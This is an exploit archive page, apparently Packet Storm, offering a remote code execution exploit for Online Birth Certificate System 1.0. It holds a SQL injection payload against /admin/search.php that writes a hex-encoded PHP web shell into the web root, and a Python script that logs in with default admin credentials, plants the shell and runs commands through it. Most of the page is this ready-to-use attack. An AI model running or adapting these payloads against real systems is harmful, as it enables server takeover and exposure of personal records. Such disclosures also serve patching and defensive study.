what you don't know can hurt you

Online Birth Certificate System 1.0 SQL Injection / Code Execution

Online Birth Certificate System 1.0 SQL Injection / Code Execution
Posted Jul 13, 2020
Authored by gh1mau

Online Birth Certificate System version 1.0 suffers from a remote SQL injection vulnerability that allows for remote code execution.

tags | exploit, remote, code execution, sql injection
MD5 | 8686f693fd67555f6d54e14a72b3fe5e

Online Birth Certificate System 1.0 SQL Injection / Code Execution

Change Mirror Download
# Exploit Title: Online Birth Certificate System - RCE Through SQLi
# Date: 2020-07-08
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=11466
# Version: V1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Vulnerable File:
----------------
/admin/search.php


Vulnerable Code:
----------------
line 145: $sdata=$_POST['searchdata'];


Vulnerable Issue:
-----------------
line 145: $sdata=$_POST['searchdata']; has no proper sanitization

POC:
----
[+] Inject the following payload inside the Search by Application Number

-1' UNION ALL SELECT 0x3c3f7068702073797374656d28245f524551554553545b276768316d6175275d293b203f3e,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL INTO DUMPFILE 'C:/UwAmp/www/obcs/1.php'-- -


Python Script POC:
------------------

import requests

#this script is for POC purpose, you could add your own error checking mechanism

username = "admin"
password = "Test@123"
webshellPayload = "0x3c3f7068702073797374656d28245f524551554553545b276768316d6175275d293b203f3e"
path = "%27C%3A%2FUwAmp%2Fwww%2Fobcs%2F1.php%27"
command = "whoami"

print("[+] Stage 1 : Login as admin")

url1 = "http://localhost:80/obcs/admin/login.php"


payload1 = "username=" + username + "&password=" + password + "&login="
headers1 = {
"Origin": "http://localhost",
"Cookie": "PHPSESSID=aqpbbqu79id0lv1a26sar7f084",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Connection": "close",
"Referer": "http://localhost/obcs/admin/login.php",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5",
"Content-Length": "41",
"Content-Type": "application/x-www-form-urlencoded"
}

requests.request("POST", url1, data=payload1, headers=headers1)


print("[+] Stage 2 : Injecting Web Shell")


url2 = "http://localhost:80/obcs/admin/search.php"

payload2 = "searchdata=-1%27+UNION+ALL+SELECT+" + webshellPayload + "%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL+INTO+DUMPFILE+" + path + "--+-&search="
headers2 = {
"Origin": "http://localhost",
"Cookie": "PHPSESSID=aqpbbqu79id0lv1a26sar7f084",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Connection": "close",
"Referer": "http://localhost/obcs/admin/search.php",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5",
"Content-Length": "281",
"Content-Type": "application/x-www-form-urlencoded"
}

requests.request("POST", url2, data=payload2, headers=headers2)

print("[+] Stage 3 : Run command\n")

url3 = "http://localhost:80/obcs/1.php?gh1mau=" + command

payload3 = ""
headers3 = {
"Cookie": "PHPSESSID=aqpbbqu79id0lv1a26sar7f084",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Connection": "close",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5"
}

response = requests.request("GET", url3, data=payload3, headers=headers3)

print(response.text)
Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    1 Files
  • 9
    Aug 9th
    2 Files
  • 10
    Aug 10th
    27 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close